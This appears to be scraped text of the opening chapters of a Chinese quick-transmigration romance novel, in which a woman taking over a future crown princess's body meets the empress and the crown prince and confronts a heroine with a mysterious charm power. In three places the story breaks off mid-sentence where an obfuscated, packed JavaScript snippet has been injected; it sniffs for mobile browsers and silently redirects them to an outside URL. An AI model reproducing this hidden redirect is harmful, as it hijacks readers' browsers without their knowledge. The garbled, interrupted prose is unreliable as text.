《男主恋爱脑(快穿)》 1. 盛世美颜太子妃 姜典则穿过来第一时间就感受到新身体的满满活力:不是病秧子就赢一半了,至少。 她举目望去,极具标志性的金瓦红墙足以提醒她身在何处,而身边年纪不同的女子又皆是一身庄重又繁复的衣饰,当然她自己也不例外,再加上前面微微躬身的中年无须男子……她大概率跟着这一世的亲人入宫觐见。 想到这里,她微挑了下表情,更无喜无悲了。 她的系统小助理也适时上线,“咱们身在大齐国京城,你前面的两位贵妇人分别是原主的祖母和亲生母亲。” 姜典则瞄了一眼便笑道:“生母搀扶祖母,力度刚好,走得不快不慢,看起来婆媳俩处得还好。但走了这么一会儿,生母眼神都不给一个,对女儿的厌恶就差写在脸上了。不过,”说到这里她刚好和祖母来了个四目相对,她回以微笑,继续和自家小助理说话,“祖母似乎挺器重我这个孙女?” 小助理亦笑,“原主按照剧情可是太子妃,那必须器重啦。”它把刚刚整理好的剧情梗概传输过去。 姜典则一目十行看完出现在脑海中的文档:这是篇处处狗血的二嫁文,正牌男主是大齐四皇子,女主则是原主她……弟妹。 原主这个太子妃是以贪婪嫉妒以及弄巧成拙为标志的小反派,而原主的丈夫太子则是最大的反派男主。 文档里白纸黑字,女主出嫁前出嫁后都被原主针对,太婆婆婆婆则坐视不理拉偏架,丈夫虽然英俊但风流,仗着太子妃亲姐行事无忌,新婚一年就给她添了好几个“姐妹”,这还不算放在外面没带回家里的…… 娘家势弱也指望不上,女主只能又怨又恨偏偏无可奈何。 半年后她在某次入宫时中了奸人圈套,迷迷糊糊误入重地,醒来就是和太子并肩,还让太子妃带人撞了个正着,之后固然有贵人四皇子解围,她也确实没和太子发生点什么,但她的处境无疑更为艰难。 幸好有四皇子宽慰照拂,而太子或许是求而不得心生怨念又开始莫名其妙纠缠她,至于她的丈夫发现四皇子太子的关注,在折磨她之余反复利用她从二位皇子处换取好处…… 女主就在三个男人轮番的巧取豪夺中犹豫不决痛苦不已,而三个男人为了争夺她似乎也打出了真火,斗争逐渐升级至朝堂,恰逢西北外敌入侵,大齐内忧外患一片狼藉。 最后女主还是顺从本心艰难选择了最爱她的四皇子。 她剖明心意后不久太子于西北前线战死,因为皇后故去而日渐消瘦的皇帝闻讯便一病不起,不过一个月便驾崩了,四皇子顺理成章地登基,她也成被封为皇后,剧情也在她生出儿子,在新君怀中喜极而泣那一刻终结。 姜典则收起剧情梗概,“剧情完结后大齐也在这对卧龙凤雏手中完结了吧?” 小助理应道:“对,他俩就是亡国帝后,论后世骂名堪比你老家的徽宗和钦宗这雪乡二圣。” “所以任务是……大齐别亡国?” “任务要求可没这么写。任务发布人是你即将见到的皇后,她希望丈夫和儿子能善终。附言原文是,天下没有不灭的王朝,我能顾好丈夫儿子就竭尽全力还力有不逮。”小助理根本不卖关子,“谭皇后是魂穿,原本是你老乡,但她想不起前世的记忆,可前世的经历又潜移默化无时无刻不在影响着她。” 姜典则来了兴致,“居然是老乡,那肯定要帮一把。”不过她也没真的承诺什么,“见面再说。” 此时领路的内侍停下脚步只等传召,姜典则余光扫了眼面前的坤宁宫,身前原主生母李夫人忽地侧头,甩了个眼刀过来。 姜典则不明所以,梗概里倒是提到原主和生母不睦,原因却一个字没写。 小助理及时开口,“原主是曾祖母抚养长大,刚刚结束祈福,为去年身故的曾祖母祈福,从京郊的金龙寺归家。” 姜典则好奇道:“金龙寺?这名字俗归俗,终究不是随便叫的。” “原主曾祖母是公主,大齐开国皇帝唯一的嫡出女儿,太宗皇帝唯一的同母妹。原主她家固然是开国八公之一,但若没这位公主殿下苦苦支撑,轮不到原主父亲再复国公府荣光。对了,原主父亲一样是公主养大的,婚后原主父亲也经常住在公主这边。” 公主可是有公主府的。 长在公主曾祖母身边的原主跟祖母生母大概率……都不用亲近这个词儿,应该说压根不太熟,但原主跟父亲应该处得不错。 所以原主生母刚才那一记眼刀,现在再细品,就是怨妇的嫉恨了,说不定要在谭皇后面前搞点事儿出来。 翻了下脑海中的剧情梗概,果然提到李夫人,也就是原主生母常有怨言,说是女儿才德不堪配太子,她颇为惶恐不安。 姜典则笑道:“原主在我看来脑子也不特别灵光,但依旧做了太子妃,可见李夫人一会儿不管在坤宁宫谭皇后面前说什么,都不会影响这门亲事。李夫人要真能‘大不敬’又或者‘意图谋反’,我还高看李夫人一眼。反正我静静看李夫人表演就是。” 小助理道:“哎呀你多观察谭皇后和太子,看看要不要接下任务。” 话说以姜典则现在的权限,完全可以自愿选择是否接取任务,不接任务还想留下就自掏腰包补个门票,前提是别捣乱。 姜典则刚出声应下,坤宁宫中走出个年轻的内侍,问过最前面的老夫人几句话,便转身回去通报。不多时,她已经跟着老夫人与李夫人踏入坤宁宫东次间,也是谭皇后日常待客的地方。 她刚刚屈膝,就感受到一股灼热的视线径直落在自己身……确切的说是头上。 穿而不自知的老乡性格挺有意思,她直接抬起头,跟老乡来了个四目相对。 说实话谭皇后并不太满意陛下为太子定下的这门亲事。 可安国公是陛下伴读,又有救驾之功,驻守边关十几年保边关太平,他自己落得满身伤……再加上陛下早有许诺,又看在去年故去的新平公主面子上,不迎娶安国公嫡长女为太子妃着实说不过去。 只可惜要委屈儿子了……谭皇后刚刚还在为太子惋惜,结果人家小姑娘跟着祖母母亲到来,她一眼就相中这小姑娘了! 小姑娘相当漂亮,只论相貌就配得起她引以为傲的儿子,更有意思的是小姑娘眼神灵动,有种京中贵女身上罕见的鲜活。这性子可太适合她那个闷葫芦儿子了。 谭皇后忽地忍俊不禁:人与人的缘分真的很奇妙。当年她在一众皇子中慧眼识金,选中了她的丈夫。 她相信自己的直觉和眼光。 于是她道了声“免礼”,直接冲小姑娘招手,语气相当柔和,“上前来,让本宫仔细瞧瞧。” 刚刚站起身的老夫人一怔,旋即内心狂喜:皇后娘娘这是瞧中了! 李夫人身子微微一晃,她急忙低头,强行掩下自己脸上的难以置信和不甘。 姜典则路过因为心情剧烈起伏而神情略有扭曲的李夫人,走到谭皇后面前。 谭皇后拉住姜典则的手,细细端详一番,直接笑出一对酒窝,“越瞧越俊!好孩子,可惜太子跟陛下去了京营,不然一定让你们见一面。” 坐在谭皇后手边儿的老夫人登时笑容满面:这婚事成了一大半! 而低着头的李夫人心中剧烈翻涌:她不信!她不服! 脑子一热,她脱口而出,“小女自小不爱诗书,顽皮骄纵,让她爹教野了,无才无德……” 谭皇后直接出声打断了她,“你是将女儿许给了娘家侄子不成?” 老夫人回过神来,伸出手死死扣住李夫人手腕——老夫人将门虎女,花甲之年依旧硬朗,手底下也有把子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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却说李夫人自觉丢了大面子,当即怒不可遏,于是另一只手也扬了起来。 姜典则又是轻而易举地抓住,同时点醒周围好几位看热闹的管事与嬷嬷,“母亲不会以为女儿脸上多个掌印,宫里不会不闻不问吧。”说完她看向老夫人,“祖母您说呢?” 老夫人脸色愈发难看,指着鹌鹑似的缩作一团的内院女管事,“还不扶着你们太太,去后院佛堂歇一歇!”又冲着孙女道,“咱们回屋说。” 姜典则笑眯眯地点头,将李夫人的一双手腕交给凑上前来的嬷嬷们,便走到老太太身边,伸手搀扶,“走吗,祖母?” 老夫人瞧着自始至终无甚动容的孙女,无奈轻叹,“我是想不到你母亲真的……” 姜典则再次颔首,“孙女也没想到,她在大庭广众之下也要教训孙女。” 这话直接把老夫人酝酿好的一番话堵了回去,和稀泥不成老夫人只得道,“她做事冲动,我自会教训她。你不要计较,计较了也是你难看,宫里一直瞧着呢。” 姜典则终于笑了,“您说得是,孙女记住了。” 老夫人和李夫人婆媳是一丘之貉,只是蠢和坏的程度略有差别。有这二位持续影响,难怪原主在剧情里行事那么拧巴,不得太子欢心倒在其次,主要是她损人也不利己。 她特地回头,目送红着眼睛的李夫人让嬷嬷们带走,心中跟小助理嘀咕,“我对老乡印象还可以,接下来找机会见见太子,看看你精挑细选的对象是不是真能让我享受生活。” 小助理嘿嘿直笑,“捡日不如撞日,要不就明后天?” “怎么说?” “梗概里没写呢,过了这一村他就成战损版啦!不伤颜值,但绝对影响伴侣日常生活质量的那种战损。老大你可以不选他,只是错过他最好的一面……”它顿了一下,“好像也没啥了不得的损失,不过来都来了,还是别错过了吧。” “确实。”姜典则沉默了一瞬,“那是得赶快。” 2. 太子妃2 老夫人的确比李夫人强多了,起码知道得好生安抚下孙女。 姜典则先回房换衣服,再去老夫人的院子说话。 伺候原主的丫头们听说自家小姐深得皇后娘娘青眼,比记忆里殷勤了太多,唯有曾祖母指派来的陈妈妈神情微妙,有点喜忧参半欲言又止的意思。 姜典则换了身家常衣裙,也不急着去老夫人那儿,先坐下喝茶润润喉咙,再指着自己手边的凳子,冲那位嬷嬷笑道,“陈妈妈,有话不妨坐下慢慢说。” 陈妈妈躬身应下,还没坐过来,姜典则身后的丫头先轻哼了一声。 姜典则立即侧头,“你不服又或者不愿意伺候,我这就放你出去?” 这丫头当即色变,“大姑娘你好狠……”话没说完就让同样在这屋里伺候的亲姐姐一把捂住嘴,并拉扯着一起跪了下去。 那大丫头的姐姐自己先磕了个头,“大姑娘,奴婢知错!”而后毫不客气地摁着妹妹的脑袋往地上磕,“奴婢妹妹也知道错了!”别的一个字都不多提。 姜典则笑了,“太太指给我的丫头也不尽然是蠢货。” 话都说到这份儿上,陈妈妈也不再藏着掖着,“国公爷瞧着呢,不至于走了大褶儿。” 姜典则点了点头,这才吩咐那依旧摁着妹妹脑袋的大丫头,“春桃,陈妈妈都替你们姐妹求情,这次先记下。好好教教你妹妹,若是教不好,你和她一起从哪儿来回哪儿去。” 春桃一样先自己磕头,再摁着吓傻的妹妹一起磕,之后姐妹俩才缓缓站起身来,二人脑门各有一个红彤彤的印子。 等姐妹俩面色苍白地各就各位,屋里剩下的俩丫头似乎也回过味儿来:公主亲自教养的大姑娘,能是什么软柿子! 姜典则再次喝了口茶,平实叙述下李夫人在坤宁宫中的言行,直把陈妈妈吓了一大跳。 不过这位年轻时伺候新平公主,中年转侍大姑娘的妈妈没来得及劝说一二,面熟的二等丫头小跑着过来,在门外止步。 顶着红印子的春桃过去询问,回头向姜典则禀报,“国公爷回来了,正往老太太那儿去。” 姜典则闻言起身,冲着陈妈妈伸手,“走吧,咱们也去祖母那儿凑凑热闹。” 真让她说中了,姜典则扶着陈妈妈的手踏入老夫人的正堂,就见李夫人正抱着个面如冠玉的中年男子的腿,嘤嘤哭泣。 当然,在姜典则进来的时候,李夫人哭声顿了一下之后又立即续上了。 老夫人相比李夫人终究要正常一点,这会儿面色僵硬。 至于气度不凡的中年男子——自是原主的父亲安国公,面上无甚表情,但袖内的右手已然握紧,手背青筋突出,一副随时可能暴起的模样。 姜典则在心里赞许:安国公看着不怎么吃李夫人这一套。昔日今上伴读,今日禁军统领之一,除非身在狗血降智文,不然绝不可能是个二百五。 她想了想,见礼后便来了一句,“父亲母亲原来平日里这样相处,属实别致。” 原主在公主府长大,不仅跟祖母生母,就是亲生父亲其实也没那么熟悉。她说这番话不算奇怪,再配上她饶有兴趣的神情,跟阴阳怪气也搭不上边儿。 安国公循声看过来,直接端详了女儿片刻:这样貌这气度……跟祖母似乎不差什么。 他笑着指向身边的椅子,声音温柔,“来,咱们父女说说话。”又看向几乎是扑到他腿上的李夫人,“苦肉计使完了,你也该起来了。” 李夫人登时红了脸,但依旧不肯挪动,她想丈夫为自己撑腰,教训不省事的女儿。 安国公皱了皱眉,轻声道,“你在坤宁宫行事,我听说了。” 李夫人立时起身,快走几步,利落地躲到了老夫人身后,低头只为回避安国公的视线。 安国公轻叹一声,“我不怪你,皇后都不怪你,我又怎么会怪你。” 以李夫人那异于常人的脑回路,都听出这话不对味儿了。李夫人脑袋垂得更低了,完全不敢吭声。 安国公接着道:“婚事自有帝后做主。往后进宫你不要去了,就在府里抄经祈福吧。” 此言一出,莫说李夫人瞪大眼睛马上就要哭出来,就是老夫人一时间都接受不了……显而易见,老夫人不能接受的绝不是安国公那后一句。 安国公看出这一点,干脆把话说开,“若是皇后娘娘没瞧中五娘,这门亲事便落不到咱们家。二郎但凡上得台面,儿子就不会让您只给他相看五六品官的女儿。” 直接一盆冷水浇灭老夫人和李夫人不切实际的念想,安国公是个爽快人。 反正闲着也是闲着,姜典则翻了翻原主的记忆:原主在安国公女儿中的确排行第五,但被府中上下称呼为大姑娘,是因为安国公一共五女二子,只有原主与原主那个耀祖弟弟活到了现在,其余四女一子甚至连正式起名序齿的年纪都没活到便夭折了。 顺便一提,大齐朝有规定,无论男女都是满六岁才序齿。 像安国公这样对夭亡儿女念念不忘,称呼原主为五娘也没什么,谁让安国公乐意;故去的新平公主管原主叫乖乖和大曾孙女,谁让公主人家也乐意。 哦,原主那四个夭折的姐姐都是庶出。姜典则脸上又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705993|173526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换成了一副悲天悯人的神情。 安国公不知女儿心中所想,他不耐烦应付母亲与妻子,却很想和女儿说说话——不是哪家姑娘都有能耐让皇后一见投缘的。 姜典则自无不可,跟在安国公身后继续扶着陈妈妈离开正堂,把满心怨恨的李夫人和略有不甘的老夫人丢在身后。 步行十多分钟来到安国公内书房,姜典则刚坐下,安国公甚至都不等丫头上茶,“装得难受吗?” 原主回府这几天表现得极为乖顺,不然李夫人不至于想骂就骂说打就打。而姜典则穿过来以后,要不是人多,她绝对会揍回去。 这反差安国公不可能视若无睹,于是她神情语气无不真诚,“您不怪我就好。”就默认自己有两幅面孔好了。 女儿如此干脆坦诚,安国公笑得很是欣慰,“你真要是个任人拿捏的软和性子,我可不放心你入宫。” 既然这么说,姜典则也不客气,“父亲,给我点能使唤的好手吧。” 安国公想起原先伺候女儿的丫头年纪大了,公主生前便做主婚配如今大多升了管事,而母亲和妻子指派的下人带入宫中只能坏事……他冷笑一声,“放心,父亲亲自给你挑人。” 姜典则起身,双手抱拳,“女儿谢过爹爹,一切都交给爹爹了。对了,”她学着记忆里原主的模样,扯住安国公的衣袖轻轻摇晃,“爹爹,女儿想在宫外见太子一面。” 安国公眼角鱼尾纹都笑出深深三道印痕,“你多久没跟爹爹撒娇了?” 姜典则继续摇晃,“女儿哪有机会?前些年您一直外任,女儿一直留在京城曾祖母身边。” “也是。”安国公无奈道,“爹爹尽量安排,若是不成,你们还是宫里见面。” 姜典则笑着应下,“女儿知道。” 与此同时,刚刚回到东宫的太子正卸甲更衣,心腹内侍上前嘀咕,“今儿安国公老夫人夫人并家大姑娘入宫,娘娘好像是……相中了。” 太子动作一顿,他记得安国公家的大姑娘曾经跟着新平公主入宫赏花,那是个漂亮但骄纵的小姑娘……可他又很相信母后的眼光,于是他吩咐说,“你安排一下,本宫要在宫外见安国公家大姑娘一面。” 内侍应下,旋即又禀告,“殿下,您两个表妹今天也都送了书信来。” 这两个表妹分别是谭皇后娘家侄女和太后的侄外孙女。 太子换好衣裳,随意地翻看两位表妹的信笺,果然表妹们也想约他见面。他干脆吩咐内侍,“本宫没那么多时间,一个上午,想来足够应付他们三个了。” 内侍再次躬身应下。 3. 太子妃3 安国公府,姜典则伴着原主记忆翻看着便宜老爹给她准备的小册子——几位太子妃候选的详细信息赫然在列。 在安国公看来,这些候选中只有两位,也就是太后的侄孙女和皇后的侄女,帝后真正看入眼并考虑过,其他纯粹是“陪太子读书”,比凑数稍微强点儿。 而太后的侄孙女,其实也基本没戏,因为太后并非元和帝生母,而是生母堂妹,元和帝登基后为了安抚母族之心,将这位原本后宫小透明的姨母立为太后。 可惜这位太后自忖她在元和帝心中位置非比一般,连着三次当众为难谭皇后,想以此立威,结果元和帝一道圣旨,请太后去金龙寺为先帝祈福,太后只得灰溜溜地离宫。 再回来已是三年后,太后以及太后娘家就老实多了,这次推出自家精心教养的女孩儿更多是希望讨好帝后维系关系,并不是非太子妃不可,给个侧室都算心满意足。 原主记忆中对这姑娘印象也不甚深刻,样貌才干都很中庸不出彩。 小助理这会儿就问:“要不要查一查付费资料?” 话说每一个任务世界只有剧情梗概是免费提供的,甚至于原主记忆能提取多少都要看任务执行人自己的本事,那么其他信息想知道自然得自掏腰包。 姜典则摇了摇头,“不值得。”接着她就把注意力转向谭皇后的侄女。 这位谭姑娘就多少有那么点儿竞争力了——真就只有一点儿。 要知道谭皇后只有一个只差三岁的同父同母亲大哥,而太子与他的同胞妹妹又是谭皇后三十八岁高龄诞下,因此谭国舅并无合适的嫡出子女堪配太子公主,于是谭家就选了谭皇后排行第六的庶弟所出嫡长女来冲击太子妃宝座。 姜典则看到这里,轻轻敲了敲太阳穴,“谭皇后若是有意挑娘家侄女做儿媳,不必让我入宫,又或者入宫见面后让元和帝多少透个口信儿,看刚才安国公那副样子,哪里是帝后那边有坏消息的样子?” 小助理笑道:“不过谭家应该不信谭皇后真的不选自家人。” 姜典则补充道:“除了谭国舅。大家族嘛,一条心才是稀罕事。” “大姑娘,太子递了帖子来。” 姜典则招了招手,刚刚出声禀报的春桃规规矩矩小步向前,将帖子双手奉上。 姜典则接过,匆匆一瞥,“约我明天在得意楼见面?我记得这是大公主的产业?” 当值的陈妈妈笑道:“回大姑娘的话,正是,坐车要不了半柱香。” 谭皇后共生育三子二女共五人。其中前两个儿子是谭皇后二十前后生下,一个六岁一个八岁夭折,长女则是谭皇后在二十五岁时生下,因为难产去了快半条命,之后十几年都未再有孕,元和帝不管群臣宗亲与太后如何劝解,就是爱妻谭皇后还能生,他就是要等下去。 谭皇后感念丈夫情深,同时压力极大,最后她央求丈夫和别人生个孩子,要不然她非疯不可。 这才有了三皇子与四皇子,不过在三皇子与四皇子三岁时谭皇后再次有孕,于三十八岁高龄生下一对龙凤胎。 元和帝不顾规矩,直接踏入产房,揽着爱妻,立刚刚降生的幼子为太子。 总之两位公主与太子一母所生,太子安排在大公主产业之中见面,于双方都很方便。姜典则没有不答应的道理,只是太子的帖子一看就是制式化,不是本人亲笔,她就没有回帖,而是让送信的带话回去:准时赴约。 晚上,从帝后那儿归来,被同胞妹妹灌了满耳朵谭表姐怎么好的太子从内侍那儿得到两张亲笔回帖以及一个口信儿,他笑了,“挺骄傲。” 他心里想的是:有父皇母后青眼,就自觉太子妃之位稳妥至极吗?他倒要看看,爹娘凭什么能相中安国公家的姑娘。 第二天,下了早朝,前去坤宁宫拜见过母后,再回东宫嘱咐下臣属,便摆下仪仗出宫往得意楼去了。 大公主在正门亲自迎接太子,见礼后主动领路,“姜家姑娘已经到了,就在二楼最东面的包间里候着呢。这姑娘一直跟着曾姑祖母,我也有段时间没见了,隔着薄纱帷帽,瞧了一眼,我算知道娘亲为什么一见倾心了。” 太子来了兴趣,“什么一见倾心?” 大公主端详了下弟弟这张不喜不怒的俊脸,又笑道,“我说了还有什么意思?你见了就知道。” 母后虽没明说,但其实看不上谭家送出来的女孩儿,连女孩儿的亲爹亲娘并祖母,全都看不上,太后的侄孙女就更不用说。如果安国公家的姑娘也不能入眼,母后宁愿另选他人,也不会在前面那两个女孩儿里矬子里拔将军,不仅太子妃不成,侧室都够呛…… 大公主想到这里,瞄了太子弟弟一眼:甭管小妹怎么表姐长表姐短,母后和太子不点头,根本没戏。 太子能猜到大姐的几分心思,他也疼小妹,但是他的婚事不可能让小妹做主,于是他点了点头,带着侍卫们上楼去了。 却说姜典则坐进包间,也就把帷帽摘了——原主是个吸蚊子体质,戴帷帽单纯不想挨咬……毕竟头回面见太子,她得保持一点偶像包袱。 陈妈妈收好帷帽,太子刚好到来,推开包间大门,直接四目相对…… 太子始终似笑非笑,表情没变,但耳朵尖慢慢红了起来。 而姜典则一见之下也很满意,太子雪肤黑发,长了张高级又精致的厌世脸,宽肩细腰大长腿,再配上那一身月白长袍,气质清冷又略微带点阴郁。 可是那红彤彤的耳尖儿暴露了他清纯少男的本质。 这反差……就更让人喜欢了。 于是她不紧不慢地起身见礼,“臣女见过太子殿下。” 太子回过味儿来,“免礼。坐。”说完他径直坐到了姜典则对面,转头示意杵在门边的内侍去上茶上点心。 内侍连忙去了。 太子又端详了姜典则片刻,才收回视线。 他好像理解父皇说的一见钟情,以及“一见面我就把你们几个的名字想好了”……因为他也在想将来孩子们的名字。 却说二人落座,太子一直没再说话,姜典则一点都不担心,因为太子耳朵尖嫣红未褪。 剧情里太子是男性角色中话最少的那个,现在不言语她也不以为意:山不来就我,我去就山嘛。 “殿下就算不给我送帖子,我也会想办法见殿下一面。” 太子“嗯”了一声,又不再说话。 姜典则也不会没话找话,就笑眯眯望着太子的耳朵尖。 不一会儿内侍去而复返,得意楼两位女管事亲自上茶,上点心。 太子当众为姜典则给分了四块点心,“大姐从南边请了几位点心师傅,这几样都好吃,你尝尝看。” 姜典则挨个儿尝了下,“的确不错。” 太子嘴角微挑,“是吧?”他刚想说什么,内侍忽然上前在他耳边轻声说了几句。 姜典则坐得太近,听了个差不离。内侍说的是:二公主领着二位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705994|173526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表姑娘,还有唐家九姑娘来了,大公主正跟她们说话。 大公主那不是留这些姑娘说话,而是在阻拦她们几个,谁让太子见了她就表现得如此明显,刚才上茶上点心的管事不可能不禀报。 大公主估计是不想二公主带着两位表姑娘坏了太子的好心情,另外唐九姑娘……可是正牌女主。 按照剧情,这会儿她应该正和原主耀祖弟弟纠缠,犹豫着要不要嫁。 因为开国侯府的唐家如今已然没落,全家官职最高的就是唐九姑娘亲爹,四品大理寺少卿。安国公的独生子对唐九姑娘而言是最好的夫婿选择,没有之一。 想到这里,姜典则跟小助理传音,“唐九姑娘唐诗丽这时不该对太子有想法吧?” “在剧情里,唐诗丽第一次见到太子,是作为安国公府的新媳妇,跟着老夫人入东宫向太子妃请安,然后她一眼就看上貌美如花的太子殿下了。所以……” 姜典则笑了,“要是跟剧情没出入,也轮不到我来。”她抬眼望向太子,“既然来都来了,殿下,不如一起见一见姐妹们?” 她这话一出,内侍先垂下了头,门口的侍卫们神色微变。 至于太子,尴尬之色一闪即逝,他又是那张似笑非笑却极有距离的冷脸,“也罢。就让她们上来,正好一起认一认人。” 内侍得令,转身出门,太子再次看向姜典则,郑重又严肃,“我心悦你,你……看上我了吗?” 姜典则都愣了一下。 小助理在她耳边疯狂吐槽,“这对吗?太子是这么打直球的?剧情里女主唐诗丽反复多次追问太子爱不爱她,只要太子回应过一次,她就愿意离开四皇子投向太子啊!” 姜典则此时起身,径直走向太子,然后坐到了太子身边,侧头看着太子,手底下轻轻勾住太子的三根手指——没办法,原主手确实小了点儿,比起将近一米九的太子来说。 太子终于笑了,“我明白了。”体会着好软好暖的小手,他再次开口,“我父皇与我母后成亲时,身边一个侍妾侧室都无,我也会和父皇一样。你且安心,有我在,谁都不能欺负你。” 正为公主等几位姑娘领路的内侍在门外听了这话,再一次垂了下头。 二公主闻言直接推门进来,“五哥你说的是什么话,你要辜负两位表姐还有唐家姐姐了吗?” 姜典则听了二公主这话都觉得诧异:二公主作为帝后的老来女,骄纵肯定有,但绝对不傻,不可能让几个同龄姑娘轻易忽悠,尤其是忽悠来跟太子亲哥当众作对。 等当落在最后面的唐九姑娘唐诗丽也进得房门的时候,她恍惚了一下,立时明白过来。 她再看向身边的太子,只见太子双眼迷茫,明显一副失神的模样,她当即手下用力,在太子掌心抠了一下。 太子吃痛,眉头微皱,瞬间眼神清明,再看向唐诗丽的时候多了些许不那么明显审视,同时他在桌上反手握住姜典则的手,动作轻柔并没用力。 太子恢复,姜典则也饶有兴趣地欣赏起唐诗丽的美貌来,只是她的目光中也有一层隐藏的探究。 “一个不留神,我都要中招。女主唐诗丽这个魅惑光环有点意思,居然男女通吃。” 小助理急道:“剧情里完全没有提及这一点!” “平平无奇没有意外的重生逆袭,不会让我来接。”姜典则再次笑了起来,“确实有点意思。” 她有预感,意外不止发生在女主一个人身上。 4. 太子妃4 太子也是回过味儿来,微微转头跟身边的心上人来了个默契对视,起码他觉得是,便不咸不淡地出声,明显在针对自己的同胞妹妹,“有什么话,坐下说。” 二公主直面严肃的同胞哥哥,稍微怂了下,不过脑子里莫名的邪火还是让她找亲哥哥要个说法,“哥,亲不间疏啊!怎么能让表姐们苦等呢!” 太子语气中带着明显的疑惑,“苦等?”他看向身边的心腹,“你如何安排的?” 心腹内侍垂头垂手,恭敬得不得了,“回殿下的话,姜姑娘定在了巳除,谭姑娘和李姑娘则是未除与未末。” 也就是上午九点以及下午一点和两点。 姜典则在桌下轻轻捏了捏太子的小拇指,余光扫到剧情正牌女主唐诗丽面色微红,故意说道,“多谢殿下看重,臣女受宠若惊。” 太子还没来得及说什么,大喇喇坐到太子对面的二公主先急了,“这里轮得到你说话?” 太子眼皮都不带抬的,“小妹,父皇都从未对安国公说过这种话。” 二公主语塞,发热的小脑瓜猛然想起安国公有救驾大功,登时不吭声了。 有太子出头,姜典则就笑而不语,继续做个安静的美少女。 看过剧情,不太容易对二公主心生好感,骄纵没什么问题,但是不分轻重地骄纵肯定是要误大事的。 实际上,剧情里她宠爱的男宠拿着她的信物,直接闯入行宫谭皇后居所,冲撞了正养病的谭皇后。这还不算,她的面首侍卫打着她的名义走私盐铁,另一位在工部任职的面首收受贿赂后故意失职,导致工部与兵部相连的工坊来了个首尾连环炸,数千人死伤,数千成品上万本成品兵械化为灰烬。 然而这样的面首她都要庇护……因此剧情中期,太子就和这个妹妹干脆决裂,二公主怒极转而投向四皇子。 结果太子战死,四皇子登基,翻脸不认,二公主亲身感受权与财被一样样剥夺和抢夺,在面首争先恐后地背刺中迎来了乱军入京,她在无尽的绝望与后悔中自我了断。 姜典则再看向沉默不语的二公主,实则余光飘向了几乎藏在谭、李二位贵女身后的唐诗丽身上:在剧情里,唐诗丽更像是太子与四皇子争锋中一份额外奖励,她是绝色佳人不假,但剧情里的她绝对没有这个短时失去理智的“魅魔光环”。 为防万一,姜典则又让小助理付费核实了一下,结论果然与她的猜测一致。 而太子居然摊开了手,任由她揉捏,可见太子真实心情如何,她就更心安理得在桌下摆弄太子的“纤纤玉手”。 此时此刻,太子与二公主兄妹对坐无言,安国公府的姜姑娘安之若素,谭姑娘与李姑娘真就……有点进退两难。 谭姑娘是谭皇后最小庶弟的嫡长女,李姑娘是太后同母弟的嫡长孙女,都是很近的表亲,她俩自小就跟着各自家人入宫拜见,与太子偶尔见面。 两位姑娘或许没那么聪明,但绝非全无自知之明:帝后又或者太子稍有点意愿,陛下就不会安排皇后相看安国公的嫡长女……安国公是陛下心腹,多年来功劳不断,陛下断无道理戏耍安国公! 所以两位姑娘不管家里人是不是心存侥幸,她俩是肯定知道不必再肖想太子妃宝座:看吧,她俩跟着二公主进入包间,到现在都没落得太子一个眼神…… 两位姑娘难得默契,彼此对视了下,都看得到彼此眼中的苦涩与无奈:亲眼见过安国公府大姑娘,也是心服口服,样貌真的比不过! 不过太子妃没戏,做个侧妃都不行吗?若是劝说家里松口,不至于一点希望都没有吧。那么……二人偷瞄过太子,压住眼底的一丝热切,就开始琢磨二人身后的那位:入得东宫,倒也不是不能将身后的唐姑娘推出去打擂台,毕竟唐姑娘也是貌美如花,殿下……又总是会腻的。 却说唐诗丽可不知道身前谭姑娘和李姑娘正在打她的主意:她只是心急火燎,刚才就想冲过去捂住二公主的嘴巴!上辈子就是败在这张臭嘴上!但凡知道服软,哄哄太子,太子也不会丢下这个同胞妹妹不闻不问! 不过太子上一世与前线战死,二公主找上四殿下,好歹多活了两年…… 唐诗丽想到这里只能暗叹一声:罢了。 昨天早上一醒来,就让前世记忆塞得脑袋胀痛欲裂,一天过来,汤药灌了四碗,头疼总算可以忍受:虽然匪夷所思,但这就是老天垂怜老天恩赐! 稍微理清了些许思路,她就想着逆天改命,起码从太子妃人选做起:姜氏简直就是占着茅坑……除了一张脸全无可取之处!她就算自己做不成太子妃,也不许这么个糊涂人再糟蹋太子殿下! 她情不自禁咬牙切齿,瞥了眼如今垂目不语的太子又不免心头火热:昨天她就发现她央求别人办事,几乎无往而不利! 让管事不要声张,瞒着爹娘为她向谭姐姐李姐姐送信,居然只犹豫了一下就照办;借口有事关太子的要事要禀报,她顺利在昨天晚上见到了二位姐姐,并三言两句鼓动二人找上二公主帮忙;今早又如愿在二位姐姐的帮助下,见到刚下学的二公主,提醒二公主亲不间疏,太子不选二位姐姐这如何是好,二公主真就带着她们直奔得意楼而来…… 只可惜她天赐的神通对太子和姜氏不太管用,她将头垂得更低了些,袖中双手紧握,新修的指甲戳进自己皮肉,痛意让她稍微清醒了点儿。 反复思量过后,她不得不认头:对太子身边的内侍和侍卫似乎一样无效,可见天赐神通对不认识她以及不喜欢她的人没什么用! 